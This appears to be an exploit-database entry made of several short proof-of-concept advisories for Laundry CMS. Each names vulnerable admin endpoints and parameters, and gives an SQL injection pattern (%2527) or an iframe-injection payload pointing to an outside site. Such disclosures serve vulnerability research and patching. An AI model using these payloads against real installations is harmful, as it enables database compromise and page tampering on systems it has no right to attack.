790034e7df
7 changes to exploits/shellcodes Mail Carrier 2.5.1 - 'MAIL FROM' Buffer Overflow NetData 1.13.0 - HTML Injection CMS Made Simple Showtime2 Module 3.6.2 - Authenticated Arbitrary File Upload ICE HRM 23.0 - Multiple Vulnerabilities Vembu Storegrid Web Interface 4.4.0 - Multiple Vulnerabilities Laundry CMS - Multiple Vulnerabilities Moodle 3.4.1 - Remote Code Execution
126 lines
No EOL
5.8 KiB
Text
126 lines
No EOL
5.8 KiB
Text
===========================================================================================
|
|
# Exploit Title: Laundry CMS cloth_code SQL Inj.
|
|
# Dork: N/A
|
|
# Date: 09-03-2019
|
|
# Exploit Author: Mehmet EMIROGLU
|
|
# Vendor Homepage: http://laundry.rpcits.co.in/
|
|
# Software Link: https://sourceforge.net/projects/laundry/
|
|
# Version: New
|
|
# Category: Webapps
|
|
# Tested on: Wamp64, Windows
|
|
# CVE: N/A
|
|
# Software Description: The Laundry Management Application is a very
|
|
simple and Online Services
|
|
with mobile and computer friendly themes development.
|
|
===========================================================================================
|
|
# POC - SQLi
|
|
# Parameters : cloth_code, cloth_name
|
|
# Attack Pattern : %2527
|
|
# POST Method : http://localhost/laundry/index.php/admin/cloth_crud/create
|
|
===========================================================================================
|
|
###########################################################################################
|
|
===========================================================================================
|
|
# Exploit Title: Laundry CMS Multiple SQL Inj.
|
|
# Dork: N/A
|
|
# Date: 09-03-2019
|
|
# Exploit Author: Mehmet EMIROGLU
|
|
# Vendor Homepage: http://laundry.rpcits.co.in/
|
|
# Software Link: https://sourceforge.net/projects/laundry/
|
|
# Version: New
|
|
# Category: Webapps
|
|
# Tested on: Wamp64, Windows
|
|
# CVE: N/A
|
|
# Software Description: The Laundry Management Application is a very
|
|
simple and Online Services
|
|
with mobile and computer friendly themes development.
|
|
===========================================================================================
|
|
# POC - SQLi
|
|
# Parameters : last_name, password, email, phone, first_name, status,
|
|
join_date, address,
|
|
# Attack Pattern : %2527
|
|
# POST Method : http://localhost/laundry/index.php/admin/customer_crud/create
|
|
===========================================================================================
|
|
###########################################################################################
|
|
===========================================================================================
|
|
# Exploit Title: Laundry CMS Multiple SQL Inj.
|
|
# Dork: N/A
|
|
# Date: 09-03-2019
|
|
# Exploit Author: Mehmet EMIROGLU
|
|
# Vendor Homepage: http://laundry.rpcits.co.in/
|
|
# Software Link: https://sourceforge.net/projects/laundry/
|
|
# Version: New
|
|
# Category: Webapps
|
|
# Tested on: Wamp64, Windows
|
|
# CVE: N/A
|
|
# Software Description: The Laundry Management Application is a very
|
|
simple and Online Services
|
|
with mobile and computer friendly themes development.
|
|
===========================================================================================
|
|
# POC - SQLi
|
|
# Parameters : last_name, password, email, phone, first_name, status,
|
|
join_date, address, gender
|
|
# Attack Pattern : %2527
|
|
# POST Method : http://localhost/laundry/index.php/admin/employee_crud/new
|
|
===========================================================================================
|
|
###########################################################################################
|
|
===========================================================================================
|
|
# Exploit Title: Laundry CMS expse_code SQL Inj.
|
|
# Dork: N/A
|
|
# Date: 09-03-2019
|
|
# Exploit Author: Mehmet EMIROGLU
|
|
# Vendor Homepage: http://laundry.rpcits.co.in/
|
|
# Software Link: https://sourceforge.net/projects/laundry/
|
|
# Version: New
|
|
# Category: Webapps
|
|
# Tested on: Wamp64, Windows
|
|
# CVE: N/A
|
|
# Software Description: The Laundry Management Application is a very
|
|
simple and Online Services
|
|
with mobile and computer friendly themes development.
|
|
===========================================================================================
|
|
# POC - SQLi
|
|
# Parameters : expse_code, expse_type, expse_id
|
|
# Attack Pattern : %2527
|
|
# POST Method : http://localhost/laundry/index.php/admin/expenses_crud/create
|
|
===========================================================================================
|
|
###########################################################################################
|
|
===========================================================================================
|
|
# Exploit Title: Laundry CMS service_code SQL Inj.
|
|
# Dork: N/A
|
|
# Date: 09-03-2019
|
|
# Exploit Author: Mehmet EMIROGLU
|
|
# Vendor Homepage: http://laundry.rpcits.co.in/
|
|
# Software Link: https://sourceforge.net/projects/laundry/
|
|
# Version: New
|
|
# Category: Webapps
|
|
# Tested on: Wamp64, Windows
|
|
# CVE: N/A
|
|
# Software Description: The Laundry Management Application is a very
|
|
simple and Online Services
|
|
with mobile and computer friendly themes development.
|
|
===========================================================================================
|
|
# POC - SQLi
|
|
# Parameters : service_code, service_name
|
|
# Attack Pattern : %2527
|
|
# POST Method : http://localhost/laundry/index.php/admin/service_crud/create
|
|
===========================================================================================
|
|
|
|
===========================================================================================
|
|
# Exploit Title: Laundry CMS Multiple Frame Inj.
|
|
# Dork: N/A
|
|
# Date: 09-03-2019
|
|
# Exploit Author: Mehmet EMIROGLU
|
|
# Vendor Homepage: http://laundry.rpcits.co.in/
|
|
# Software Link: https://sourceforge.net/projects/laundry/
|
|
# Version: New
|
|
# Category: Webapps
|
|
# Tested on: Wamp64, Windows
|
|
# CVE: N/A
|
|
# Software Description: The Laundry Management Application is a very simple and Online Services
|
|
with mobile and computer friendly themes development.
|
|
===========================================================================================
|
|
# POC - Frame Inj.
|
|
# Parameters : cloth_name, service_name, expse_type
|
|
# Attack Pattern : %3ciframe+src%3d%22http%3a%2f%2fcyber-warrior.org%2f%3f%22%3e%3c%2fiframe%3e
|
|
# POST Method : http://localhost/laundry/index.php/admin/service_crud/create
|
|
=========================================================================================== |